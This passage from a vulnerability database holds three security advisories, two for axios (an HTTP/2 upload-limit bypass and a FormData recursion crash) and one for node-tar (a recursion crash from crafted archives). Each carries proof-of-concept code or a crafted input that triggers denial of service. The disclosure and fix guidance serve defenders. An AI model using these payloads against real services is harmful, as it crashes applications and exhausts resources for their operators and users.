`maxBodyLength=${LIMIT}.`
);
process.exitCode = 0;
} else {
console.log('NOT VULNERABLE: axios refused or truncated the oversized stream.');
process.exitCode = 1;
}
} finally {
server.close();
// http2 sessions cached by axios may keep the event loop alive; force exit
// after the assertion so the script returns instead of idling on TCP keep-alive.
setImmediate(() => process.exit(process.exitCode || 0));
}
### Impact
- Uncontrolled outbound egress: an attacker who controls the upstream stream (e.g. via an upload endpoint that pipes into axios) can force the application to transmit arbitrarily large payloads.
- Bypass of cost/quota guards configured via maxBodyLength against billed upstream services.
- Resource exhaustion against upstream peers, proxies, and the application's own connection / memory budget.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.13.0"
},
{
"fixed": "1.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T22:37:03Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nAxios versions with Node.js HTTP/2 support allow streamed request bodies to bypass `maxBodyLength` enforcement when requests are sent with `httpVersion: 2`.\n\nThis affects applications that rely on `maxBodyLength` as a hard cap while forwarding attacker-controlled streams, such as upload endpoints proxying user data to an upstream HTTP/2 service. Buffered request bodies are still checked before the request is sent.\n\n## Impact\n\nAn attacker who can control a stream passed to axios can cause the application to transmit more outbound data than the configured `maxBodyLength` limit.\n\nPractical impact is limited to resource consumption and policy bypass: excess outbound bandwidth, egress cost, upstream quota consumption, and limited availability impact on the application or upstream peer. This does not provide code execution, credential disclosure, or request destination control.\n\nBrowser adapters are not affected. Axios calls using the default unlimited `maxBodyLength: -1` do not cross this specific configured-limit boundary.\n\n## Affected Functionality\n\nAffected calls require all of the following:\n\n- Node.js HTTP adapter.\n- `httpVersion: 2`.\n- Request `data` supplied as a stream.\n- A finite `maxBodyLength`.\n- Attacker-controlled or attacker-influenced stream contents.\n\nUnaffected or differently affected paths:\n\n- String, Buffer, and ArrayBuffer request bodies are checked before transport selection.\n- Browser XHR/fetch adapters are not affected.\n- HTTP/1.1 requests using `follow-redirects` enforce `options.maxBodyLength`.\n- In `axios \u003e=1.15.1`, setting `maxRedirects: 0` on affected HTTP/2 upload calls activates axios\u2019 existing stream wrapper and rejects oversized streams.\n\n## Technical Details\n\nIn `lib/adapters/http.js`, axios selects `http2Transport` whenever `httpVersion` resolves to `2`. The adapter still stores `config.maxBodyLength` on `options.maxBodyLength`, but Node\u2019s HTTP/2 request API does not enforce that option.\n\nThe stream-level byte-counting wrapper is currently gated on `config.maxBodyLength \u003e -1 \u0026\u0026 config.maxRedirects === 0`. For HTTP/2 requests using the default redirect setting, axios does not use `follow-redirects` and also does not enter this wrapper, so `uploadStream.pipe(req)` sends the full stream.\n\nLocal verification against the current `v1.x` checkout showed a request with `maxBodyLength: 1024` successfully transmitting `2097152` bytes over HTTP/2.\n\nNo fixed release exists yet. The fix should enforce the byte-counting stream wrapper for HTTP/2 streamed uploads, not only for the native HTTP/1.1 `maxRedirects: 0` path.\n\n## Proof of Concept of Attack\n\n```js\nimport http2 from \u0027node:http2\u0027;\nimport {Readable} from \u0027node:stream\u0027;\nimport axios from \u0027./index.js\u0027;\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\nconst server = http2.createServer();\n\nserver.on(\u0027stream\u0027, (stream) =\u003e {\n let received = 0;\n\n stream.on(\u0027data\u0027, (chunk) =\u003e {\n received += chunk.length;\n });\n\n stream.on(\u0027end\u0027, () =\u003e {\n stream.respond({\u0027:status\u0027: 200, \u0027content-type\u0027: \u0027application/json\u0027});\n stream.end(JSON.stringify({received, limit: LIMIT}));\n });\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\n\nfunction makeBody(total) {\n const chunk = Buffer.alloc(64 * 1024, 0x41);\n let remaining = total;\n\n return new Readable({\n read() {\n if (remaining \u003c= 0) {\n this.push(null);\n return;\n }\n\n const next = remaining \u003e= chunk.length ? chunk : chunk.subarray(0, remaining);\n remaining -= next.length;\n this.push(next);\n }\n });\n}\n\ntry {\n const response = await axios.post(\n `http://127.0.0.1:${server.address().port}/upload`,\n makeBody(PAYLOAD_BYTES),\n {\n httpVersion: 2,\n maxBodyLength: LIMIT,\n headers: {\u0027content-type\u0027: \u0027application/octet-stream\u0027}\n }\n );\n\n console.log(response.data);\n // Vulnerable result: { received: 2097152, limit: 1024 }\n} finally {\n server.close();\n}\n```\n\n## Workarounds\n\nFor `axios \u003e=1.15.1`, set `maxRedirects: 0` on affected HTTP/2 streamed upload calls. HTTP/2 redirects are not currently supported by the axios HTTP/2 adapter, so this is a practical per-call mitigation for this path.\n\nFor earlier affected versions, pre-limit the stream with a byte-counting transform before passing it to axios, reject oversized uploads before forwarding them, or avoid `httpVersion: 2` for untrusted streamed uploads.### Summary\nOn Node.js, axios\u0027s maxBodyLength is documented as a hard cap on outbound request bodies. For streamed uploads sent over httpVersion: 2, axios never enforces this cap: the entire body is transmitted regardless of size. Severity: medium.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n### Details\nIn lib/adapters/http.js, transport selection is unconditional for HTTP/2:\n\nhttp.js Lines 937-956\n```\n if (isHttp2) {\n transport = http2Transport;\n } else {\n const configTransport = own(\u0027transport\u0027);\n if (configTransport) {\n transport = configTransport;\n } else if (config.maxRedirects === 0) {\n transport = isHttpsRequest ? https : http;\n isNativeTransport = true;\n } else {\n if (config.maxRedirects) {\n options.maxRedirects = config.maxRedirects;\n }\n const configBeforeRedirect = own(\u0027beforeRedirect\u0027);\n if (configBeforeRedirect) {\n options.beforeRedirects.config = configBeforeRedirect;\n }\n transport = isHttpsRequest ? httpsFollow : httpFollow;\n }\n }\n```\n\nmaxBodyLength is then stored on the request options:\n\nhttp.js Lines 958-963\n```\n if (config.maxBodyLength \u003e -1) {\n options.maxBodyLength = config.maxBodyLength;\n } else {\n // follow-redirects does not skip comparison, so it should always succeed for axios -1 unlimited\n options.maxBodyLength = Infinity;\n }\n```\n\u2026but options.maxBodyLength is only honored by the follow-redirects transport. Node\u0027s native http2.request does not read it. The only stream-level cap in this file is the byte-counting Transform wrapper for streamed uploads, which is gated on config.maxRedirects === 0:\n\nhttp.js Lines 1270-1304\n```\n // Enforce maxBodyLength for streamed uploads on the native http/https\n // transport (maxRedirects === 0); follow-redirects enforces it on the\n // other path.\n let uploadStream = data;\n if (config.maxBodyLength \u003e -1 \u0026\u0026 config.maxRedirects === 0) {\n const limit = config.maxBodyLength;\n let bytesSent = 0;\n uploadStream = stream.pipeline(\n [\n data,\n new stream.Transform({\n transform(chunk, _enc, cb) {\n bytesSent += chunk.length;\n if (bytesSent \u003e limit) {\n return cb(\n new AxiosError(\n \u0027Request body larger than maxBodyLength limit\u0027,\n AxiosError.ERR_BAD_REQUEST,\n config,\n req\n )\n );\n }\n cb(null, chunk);\n },\n }),\n ],\n utils.noop\n );\n uploadStream.on(\u0027error\u0027, (err) =\u003e {\n if (!req.destroyed) req.destroy(err);\n });\n }\n uploadStream.pipe(req);\n```\n\nFor the HTTP/2 path, neither branch fires: the http2Transport is always selected, and follow-redirects is never used. The byte-counting transform also doesn\u0027t fire unless the caller happens to pin maxRedirects: 0. As a result, uploadStream.pipe(req) streams the full body into the HTTP/2 request unbounded.\n\n### PoC\n```\nimport http2 from \u0027node:http2\u0027;\nimport { Readable } from \u0027node:stream\u0027;\nimport axios from \u0027../../index.js\u0027;\n\nconst LIMIT = 1024;\nconst PAYLOAD_BYTES = 2 * 1024 * 1024;\n\n// Cleartext HTTP/2 (h2c) server. http2.connect() supports h2c when given an\n// `http://...` authority, which mirrors what axios does when the request URL\n// uses `http://` and `httpVersion: 2`.\nconst server = http2.createServer();\n\nserver.on(\u0027stream\u0027, (stream, _headers) =\u003e {\n let received = 0;\n stream.on(\u0027data\u0027, (chunk) =\u003e {\n received += chunk.length;\n });\n stream.on(\u0027end\u0027, () =\u003e {\n stream.respond({\n \u0027:status\u0027: 200,\n \u0027content-type\u0027: \u0027application/json\u0027,\n });\n stream.end(JSON.stringify({ received, limit: LIMIT }));\n });\n stream.on(\u0027error\u0027, () =\u003e {\n /* swallow client-side aborts */\n });\n});\n\nawait new Promise((resolve) =\u003e server.listen(0, \u0027127.0.0.1\u0027, resolve));\nconst port = server.address().port;\n\nfunction makeBodyStream(totalBytes) {\n const CHUNK = Buffer.alloc(64 * 1024, 0x41);\n let remaining = totalBytes;\n return new Readable({\n read() {\n if (remaining \u003c= 0) {\n this.push(null);\n return;\n }\n const next = remaining \u003e= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining);\n remaining -= next.length;\n this.push(next);\n },\n });\n}\n\ntry {\n let result;\n try {\n const response = await axios.post(`http://127.0.0.1:${port}/upload`, makeBodyStream(PAYLOAD_BYTES), {\n httpVersion: 2,\n maxBodyLength: LIMIT,\n // We intentionally do NOT set maxRedirects: 0 \u2014 that flag activates the\n // existing HTTP/1 byte-counting wrapper. The bug under test is that the\n // HTTP/2 transport path skips that wrapper entirely.\n headers: { \u0027content-type\u0027: \u0027application/octet-stream\u0027 },\n // Omit content-length so the body is streamed without a known length.\n });\n result = { status: response.status, data: response.data };\n } catch (err) {\n result = { error: err \u0026\u0026 (err.code || err.message) };\n }\n\n console.log(\u0027--- PoC: HTTP/2 maxBodyLength bypass ---\u0027);\n console.log(\u0027axios result:\u0027, JSON.stringify(result));\n\n const ok =\n result \u0026\u0026\n result.status === 200 \u0026\u0026\n result.data \u0026\u0026\n typeof result.data === \u0027object\u0027 \u0026\u0026\n result.data.received === PAYLOAD_BYTES \u0026\u0026\n result.data.limit === LIMIT;\n\n if (ok) {\n console.log(\n `VULNERABLE: server received ${result.data.received} bytes despite ` +\n `maxBodyLength=${LIMIT}.`\n );\n process.exitCode = 0;\n } else {\n console.log(\u0027NOT VULNERABLE: axios refused or truncated the oversized stream.\u0027);\n process.exitCode = 1;\n }\n} finally {\n server.close();\n // http2 sessions cached by axios may keep the event loop alive; force exit\n // after the assertion so the script returns instead of idling on TCP keep-alive.\n setImmediate(() =\u003e process.exit(process.exitCode || 0));\n}\n```\n\n### Impact\n- Uncontrolled outbound egress: an attacker who controls the upstream stream (e.g. via an upload endpoint that pipes into axios) can force the application to transmit arbitrarily large payloads.\n- Bypass of cost/quota guards configured via maxBodyLength against billed upstream services.\n- Resource exhaustion against upstream peers, proxies, and the application\u0027s own connection / memory budget.\n\u003c/details\u003e",
"id": "GHSA-mwf2-3pr3-8698",
"modified": "2026-07-20T22:37:03Z",
"published": "2026-07-20T22:37:03Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-mwf2-3pr3-8698"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11000"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L",
"type": "CVSS_V4"
}
],
"summary": "Axios: HTTP/2 streamed uploads bypass `maxBodyLength`"
}
GHSA-PMV8-RQ9R-6J72
Vulnerability from github – Published: 2026-07-20 17:48 – Updated: 2026-07-20 17:48Summary
Axios versions starting with 0.28.0 contain uncontrolled recursion in formDataToJSON, which is exposed as axios.formToJSON() and used internally when axios serialises FormData with Content-Type: application/json.
If an application passes attacker-controlled FormData field names to this functionality, a field name with thousands of nested bracket segments can exhaust the JavaScript call stack and cause denial of service for that request or, in applications without appropriate error handling, process termination.
Impact
Applications are affected only when untrusted users can control FormData key names that are converted through axios.
Affected paths include direct use of axios.formToJSON() on untrusted FormData and axios requests in which attacker-controlled FormData is sent with Content-Type: application/json.
The observed failure is RangeError: Maximum call stack size exceeded. In local testing, this error is catchable, so process-wide crash depends on the consuming application's error handling and runtime behaviour.
Affected Functionality
Affected functionality:
- axios.formToJSON(formData)
- Named ESM export formToJSON
- Default transformRequest behaviour for FormData when Content-Type contains application/json
Unaffected functionality:
- Normal multipart FormData submission without JSON serialisation
- toFormData, which already enforces a maxDepth guard
- Axios versions <=0.27.2, where formDataToJSON was not present
Technical Details
The vulnerable code is in lib/helpers/formDataToJSON.js.
parsePropPath() splits a field name such as a[x][x][x] into path segments. buildPath() then recursively processes one segment per call without enforcing a maximum depth:
const result = buildPath(path, value, target[name], index);
A key with thousands of bracket-delimited segments causes thousands of recursive calls and can exceed the JavaScript engine's call stack limit.
Relevant source locations:
- lib/helpers/formDataToJSON.js contains the unbounded recursive buildPath().
- lib/axios.js exposes the helper as axios.formToJSON.
- index.js exposes formToJSON as a named export.
- index.d.ts and index.d.cts declare the public API.
- lib/defaults/index.js calls formDataToJSON(data) when JSON-serializing FormData.
The inverse helper, toFormData, already enforces maxDepth and throws AxiosError with ERR_FORM_DATA_DEPTH_EXCEEDED, but formDataToJSON does not have an equivalent guard.
Proof of Concept of Attack
import axios from 'axios';
const fd = new FormData();
fd.append('a' + '[x]'.repeat(15000), 'value');
try {
axios.formToJSON(fd);
console.log('not vulnerable');
} catch (e) {
console.log(`${e.constructor.name}: ${e.message}`);
}
Expected result on affected versions:
RangeError: Maximum call stack size exceeded
The same condition can be reached via an axios request transformation when attacker-controlled FormData is sent with Content-Type: application/json.
Workarounds
Applications can reject or normalise untrusted form field names before calling axios.formToJSON().
Applications can avoid sending untrusted FormData through axios as JSON unless JSON conversion is required.
Applications should catch errors around formToJSON() or axios requests that transform untrusted FormData.
// lib/helpers/formDataToJSON.js, lines 50–82
function buildPath(path, value, target, index) {
let name = path[index++]; // advance one level
if (name === '__proto__') return true;
// ...
if (!isLast) {
// ...
const result = buildPath(path, value, target[name], index); // recurse — NO depth guard
// ...
}
}
The key is first split into segments by `parsePropPath` (line 17), which extracts every `[segment]` via regex. A key with 15,000 bracket pairs produces a 15,001-element array, causing 15,001 recursive calls — well beyond the V8 default stack limit (~10,000–15,000 frames).
**`formDataToJSON` is a public API** consumed two ways:
1. **Directly by consumers** — exported as `axios.formToJSON()` (`lib/axios.js:80`), with TypeScript declarations in both `index.d.ts:699` and `index.d.cts:708`, and documented in the API reference in four languages (`docs/pages/advanced/api-reference.md`).
2. **Internally by `transformRequest`** — called at `lib/defaults/index.js:56` when the request body is `FormData` and `Content-Type` contains `application/json`:
```javascript
return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;
```
**Contrast with `toFormData`:** The inverse function (`lib/helpers/toFormData.js:118`) enforces `maxDepth` (default 100) and throws `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED` when exceeded. `formDataToJSON` has no equivalent protection.
### PoC
Requires only Node.js and an unmodified axios v1.x install:
import formDataToJSON from 'axios/lib/helpers/formDataToJSON.js';
// Build a FormData with a single key containing 15,000 nested bracket segments
const fd = new FormData();
const key = "a" + "[x]".repeat(15000);
fd.append(key, "value");
try {
formDataToJSON(fd);
console.log("Not vulnerable");
} catch (e) {
console.log(e.constructor.name + ": " + e.message);
// RangeError: Maximum call stack size exceeded
}
Verified output on Node.js 22.22.3 against axios v1.16.1 (current `v1.x` HEAD):
RangeError: Maximum call stack size exceeded
The process crashes. In a server context (e.g., Express middleware calling `axios.formToJSON()` on an uploaded form), a single crafted request terminates the process.
### Impact
**Denial of Service (process crash).** Any unauthenticated user who can submit FormData to a Node.js application that passes it through `axios.formToJSON()` — or that sends it as a JSON-serialized FormData body via axios — can crash the server process with a single request. The `RangeError` from stack exhaustion is unrecoverable in many contexts (it cannot be reliably caught when the stack is already full). No authentication or special privileges are required; the attacker only needs to control a FormData key name.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0.28.0"
},
{
"fixed": "0.33.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.18.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T17:48:18Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nAxios versions starting with `0.28.0` contain uncontrolled recursion in `formDataToJSON`, which is exposed as `axios.formToJSON()` and used internally when axios serialises `FormData` with `Content-Type: application/json`.\n\nIf an application passes attacker-controlled `FormData` field names to this functionality, a field name with thousands of nested bracket segments can exhaust the JavaScript call stack and cause denial of service for that request or, in applications without appropriate error handling, process termination.\n\n## Impact\n\nApplications are affected only when untrusted users can control `FormData` key names that are converted through axios.\n\nAffected paths include direct use of `axios.formToJSON()` on untrusted `FormData` and axios requests in which attacker-controlled `FormData` is sent with `Content-Type: application/json`.\n\nThe observed failure is `RangeError: Maximum call stack size exceeded`. In local testing, this error is catchable, so process-wide crash depends on the consuming application\u0027s error handling and runtime behaviour.\n\n## Affected Functionality\n\nAffected functionality:\n- `axios.formToJSON(formData)`\n- Named ESM export `formToJSON`\n- Default `transformRequest` behaviour for `FormData` when `Content-Type` contains `application/json`\n\nUnaffected functionality:\n- Normal multipart `FormData` submission without JSON serialisation\n- `toFormData`, which already enforces a `maxDepth` guard\n- Axios versions `\u003c=0.27.2`, where `formDataToJSON` was not present\n\n## Technical Details\n\nThe vulnerable code is in `lib/helpers/formDataToJSON.js`.\n\n`parsePropPath()` splits a field name such as `a[x][x][x]` into path segments. `buildPath()` then recursively processes one segment per call without enforcing a maximum depth:\n\n```js\nconst result = buildPath(path, value, target[name], index);\n```\n\nA key with thousands of bracket-delimited segments causes thousands of recursive calls and can exceed the JavaScript engine\u0027s call stack limit.\n\nRelevant source locations:\n- `lib/helpers/formDataToJSON.js` contains the unbounded recursive `buildPath()`.\n- `lib/axios.js` exposes the helper as `axios.formToJSON`.\n- `index.js` exposes `formToJSON` as a named export.\n- `index.d.ts` and `index.d.cts` declare the public API.\n- `lib/defaults/index.js` calls `formDataToJSON(data)` when JSON-serializing `FormData`.\n\nThe inverse helper, `toFormData`, already enforces `maxDepth` and throws `AxiosError` with `ERR_FORM_DATA_DEPTH_EXCEEDED`, but `formDataToJSON` does not have an equivalent guard.\n\n## Proof of Concept of Attack\n\n```js\nimport axios from \u0027axios\u0027;\n\nconst fd = new FormData();\nfd.append(\u0027a\u0027 + \u0027[x]\u0027.repeat(15000), \u0027value\u0027);\n\ntry {\n axios.formToJSON(fd);\n console.log(\u0027not vulnerable\u0027);\n} catch (e) {\n console.log(`${e.constructor.name}: ${e.message}`);\n}\n```\n\nExpected result on affected versions:\n\nRangeError: Maximum call stack size exceeded\n\nThe same condition can be reached via an axios request transformation when attacker-controlled `FormData` is sent with `Content-Type: application/json`.\n\n## Workarounds\nApplications can reject or normalise untrusted form field names before calling `axios.formToJSON()`.\n\nApplications can avoid sending untrusted `FormData` through axios as JSON unless JSON conversion is required.\n\nApplications should catch errors around `formToJSON()` or axios requests that transform untrusted `FormData`.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Source\u003c/summary\u003e\n\n### Summary\nAn uncontrolled recursion vulnerability in `formDataToJSON` allows any user who controls FormData input to crash a Node.js process with a single request. The function recurses once per bracket-delimited segment in a FormData key name with no depth limit, so a key like `a[x][x][x]...` with 15,000+ segments exhausts the call stack. This is a denial-of-service that kills the process via an unrecoverable `RangeError`. The inverse function `toFormData` already enforces a `maxDepth` limit (default 100) for exactly this reason \u2014 `formDataToJSON` lacks the equivalent guard.\n\n### Details\n**Vulnerable function:** `buildPath` in `lib/helpers/formDataToJSON.js`, lines 50\u201382.\n\n`buildPath(path, value, target, index)` is called recursively \u2014 once per segment in the parsed property path \u2014 with no depth check:\n\n```javascript\n// lib/helpers/formDataToJSON.js, lines 50\u201382\nfunction buildPath(path, value, target, index) {\n let name = path[index++]; // advance one level\n if (name === \u0027__proto__\u0027) return true;\n // ...\n if (!isLast) {\n // ...\n const result = buildPath(path, value, target[name], index); // recurse \u2014 NO depth guard\n // ...\n }\n}\n```\n\nThe key is first split into segments by `parsePropPath` (line 17), which extracts every `[segment]` via regex. A key with 15,000 bracket pairs produces a 15,001-element array, causing 15,001 recursive calls \u2014 well beyond the V8 default stack limit (~10,000\u201315,000 frames).\n\n**`formDataToJSON` is a public API** consumed two ways:\n\n1. **Directly by consumers** \u2014 exported as `axios.formToJSON()` (`lib/axios.js:80`), with TypeScript declarations in both `index.d.ts:699` and `index.d.cts:708`, and documented in the API reference in four languages (`docs/pages/advanced/api-reference.md`).\n\n2. **Internally by `transformRequest`** \u2014 called at `lib/defaults/index.js:56` when the request body is `FormData` and `Content-Type` contains `application/json`:\n ```javascript\n return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;\n ```\n\n**Contrast with `toFormData`:** The inverse function (`lib/helpers/toFormData.js:118`) enforces `maxDepth` (default 100) and throws `AxiosError` with code `ERR_FORM_DATA_DEPTH_EXCEEDED` when exceeded. `formDataToJSON` has no equivalent protection.\n\n### PoC\nRequires only Node.js and an unmodified axios v1.x install:\n\n```javascript\nimport formDataToJSON from \u0027axios/lib/helpers/formDataToJSON.js\u0027;\n\n// Build a FormData with a single key containing 15,000 nested bracket segments\nconst fd = new FormData();\nconst key = \"a\" + \"[x]\".repeat(15000);\nfd.append(key, \"value\");\n\ntry {\n formDataToJSON(fd);\n console.log(\"Not vulnerable\");\n} catch (e) {\n console.log(e.constructor.name + \": \" + e.message);\n // RangeError: Maximum call stack size exceeded\n}\n```\n\nVerified output on Node.js 22.22.3 against axios v1.16.1 (current `v1.x` HEAD):\n\n```\nRangeError: Maximum call stack size exceeded\n```\n\nThe process crashes. In a server context (e.g., Express middleware calling `axios.formToJSON()` on an uploaded form), a single crafted request terminates the process.\n\n### Impact\n**Denial of Service (process crash).** Any unauthenticated user who can submit FormData to a Node.js application that passes it through `axios.formToJSON()` \u2014 or that sends it as a JSON-serialized FormData body via axios \u2014 can crash the server process with a single request. The `RangeError` from stack exhaustion is unrecoverable in many contexts (it cannot be reliably caught when the stack is already full). No authentication or special privileges are required; the attacker only needs to control a FormData key name.\n\u003c/details\u003e",
"id": "GHSA-pmv8-rq9r-6j72",
"modified": "2026-07-20T17:48:18Z",
"published": "2026-07-20T17:48:18Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-pmv8-rq9r-6j72"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11000"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/pull/11001"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/1417285c69344bbcc6420a021f67dee0c6fedb2d"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/32fc489632377d214db55bfa4e2c48486a7d7ce2"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v0.33.0"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/releases/tag/v1.18.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Axios: Deep formToJSON Key Recursion Can Cause Denial of Service"
}
GHSA-R292-9MHP-454M
Vulnerability from github – Published: 2026-07-24 16:26 – Updated: 2026-07-24 16:26Summary
node-tar (npm tar) contains an uncontrolled-recursion stack-exhaustion DoS in the internal mapHas helper used by filesFilter. When a consumer calls tar.t(...) or tar.x(...) with a non-empty member-selection list, node-tar installs a filter that closes over the recursive mapHas (src/list.ts:33-44). mapHas walks an entry path upward one path.dirname() call per recursion with no segment cap. A single crafted tar with a GNU-L (or PAX-x) long-path header can deliver a path of tens of thousands of /-separated segments (up to maxMetaEntrySize = 1 MiB). The recursion overflows the call stack, throwing an uncatchable RangeError that terminates the Node process on async/streaming consumers.
Root Cause
filesFilter (src/list.ts:27-51) is installed whenever a caller passes a member-selection list (src/list.ts:119-122, src/extract.ts:55-57). Its filter is invoked at src/parse.ts:253 (entry.ignore = entry.ignore || !this.filter(entry.path, entry)) inside Parser[CONSUMEHEADER] — and crucially outside the only try/catch in that method (which wraps new Header at src/parse.ts:179-183). mapHas recurses once per path segment with no depth limit. The Unpack maxDepth guard (src/unpack.ts:342, in [CHECKPATH]) only runs on the 'entry' event, which fires after CONSUMEHEADER has already invoked the filter — so the stack overflows before any depth guard executes. tar.t (list) has no maxDepth at all.
Impact
Unauthenticated, remotely-triggerable denial of service: a ~188-byte gzip (≈26 KB tar) crashes any service that lists or extracts selected members from an untrusted archive (package registries, CI artifact/cache restore, upload processors). On async (await tar.t(...)/tar.x(...)) and streaming/pipe consumers the RangeError escapes the promise as an uncaughtException and terminates the process — standard defensive try/catch around the async call does NOT prevent it. (The synchronous API is catchable; the async/stream paths — the dominant server pattern — are not.)
Proof of Concept
// Build a tar whose single entry has a GNU-L long path of ~12,000 "a/" segments (~26 KB),
// gzip it (≈188 bytes), then have a consumer list/extract with member selection:
const tar = require('tar');
await tar.t({ file: 'evil.tar.gz', gzip: true }, ['some-member']); // -> RangeError, process exit
Empirically reproduced on Node v24.18.0 against built dist/commonjs of node-tar 7.5.20: 188-byte gzip → 26,112-byte tar (12,000 segments) → uncaught RangeError: Maximum call stack size exceeded → process exit. A control run with no member-selection list (filter not installed) parses cleanly (exit 0), isolating mapHas as the sole cause.
Attack Chain
- Entry. Attacker crafts a tar with a GNU
L(or PAXx) long-path header whose body is"a/"×~12000 (~26 KB), followed by a normal file entry. - Guard:
maxMetaEntrySizecaps the meta body at 1 MiB (src/parse.ts:241). - Bypass proof: 26 KB ≪ 1 MiB → accepted (verified: 26 KB archive parsed up to the filter).
- Trigger. Victim service calls
tar.t({file},[sel])ortar.x({file,cwd},[sel])(member selection — a documented, common API). - Guard:
Unpack.maxDepth(default 1024) atsrc/unpack.ts:342; decompression-ratio guard. - Bypass proof:
maxDepthlives in[CHECKPATH]on the'entry'event, which fires afterCONSUMEHEADER's filter call — the crash occurs before it (extract exits 1 with default maxDepth).tar.thas no maxDepth. Ratio is ~139× (trivial); no total-bytes cap applies to the uncompressed meta body. - Sink.
this.filter(entry.path)→mapHasrecurses once per/segment (src/list.ts:39). - Guard: try/catch in
CONSUMEHEADER. - Bypass proof: the only try/catch wraps
new Header(src/parse.ts:179-183); thethis.filter(...)call atsrc/parse.ts:253is outside it. TheRangeErrorpropagates out of the stream write/'data'path → uncaught exception (verified:process.on('uncaughtException')fires; asyncawait+try/catchdoes NOT intercept). - Impact. Node process termination; a 188-byte gzip crashes any consumer that lists/extracts selected members from untrusted archives.
Bypass Evidence
mapHasrecursion is member-name-independent: the crash fires even when the requested members do not match the malicious entry path — the attacker only needs the consumer to use member selection.- Standalone
mapHasoverflows at 20k–30k segments; on the real streaming path (atopwrite → CONSUMECHUNK → CONSUMEHEADER → filter) it crashes at ≤8k segments (finder's ~12k estimate is accurate for the reachable path). - Control (no member list → no filter) parses cleanly (exit 0), isolating
mapHas.
Affected Versions
<= 7.5.20 (npm tar). mapHas present verbatim on tag v7.5.20 (latest GitHub release and npm dist-tag latest); no segment/depth cap in src/list.ts or the CONSUMEHEADER filter path; HEAD == 7.5.20, no unreleased fix.
Suggested Fix
Rewrite mapHas iteratively (walk dirname in a while loop with a segment/visited cap), or enforce a hard path-segment limit in Header/Parser independent of maxMetaEntrySize, applied before any per-entry filter runs.
Dedup Note
Distinct from CVE-2024-28863 / GHSA-f5x3-32g6-qm9j "lack of folders depth validation" (that bounds mkdir recursion during extraction via maxDepth in Unpack[CHECKPATH] on the 'entry' event — a different sink, code path, and fix; runs after the filter and does not apply to tar.t). Also distinct from the PAX NUL/numeric-path crash advisories (improper-input-to-fs / type confusion, not recursion) and the gzip-bomb advisory (resource exhaustion on disk writes). None touch list.ts/filesFilter/mapHas or require member selection.
Reported by zx (Jace) — GitHub: @manus-use
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.20"
},
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.21"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T16:26:16Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n`node-tar` (npm `tar`) contains an uncontrolled-recursion stack-exhaustion DoS in the internal `mapHas` helper used by `filesFilter`. When a consumer calls `tar.t(...)` or `tar.x(...)` with a non-empty member-selection list, node-tar installs a filter that closes over the recursive `mapHas` (`src/list.ts:33-44`). `mapHas` walks an entry path upward one `path.dirname()` call per recursion **with no segment cap**. A single crafted tar with a GNU-`L` (or PAX-`x`) long-path header can deliver a path of tens of thousands of `/`-separated segments (up to `maxMetaEntrySize` = 1 MiB). The recursion overflows the call stack, throwing an uncatchable `RangeError` that terminates the Node process on async/streaming consumers.\n\n## Root Cause\n`filesFilter` (`src/list.ts:27-51`) is installed whenever a caller passes a member-selection list (`src/list.ts:119-122`, `src/extract.ts:55-57`). Its filter is invoked at `src/parse.ts:253` (`entry.ignore = entry.ignore || !this.filter(entry.path, entry)`) inside `Parser[CONSUMEHEADER]` \u2014 and crucially **outside** the only try/catch in that method (which wraps `new Header` at 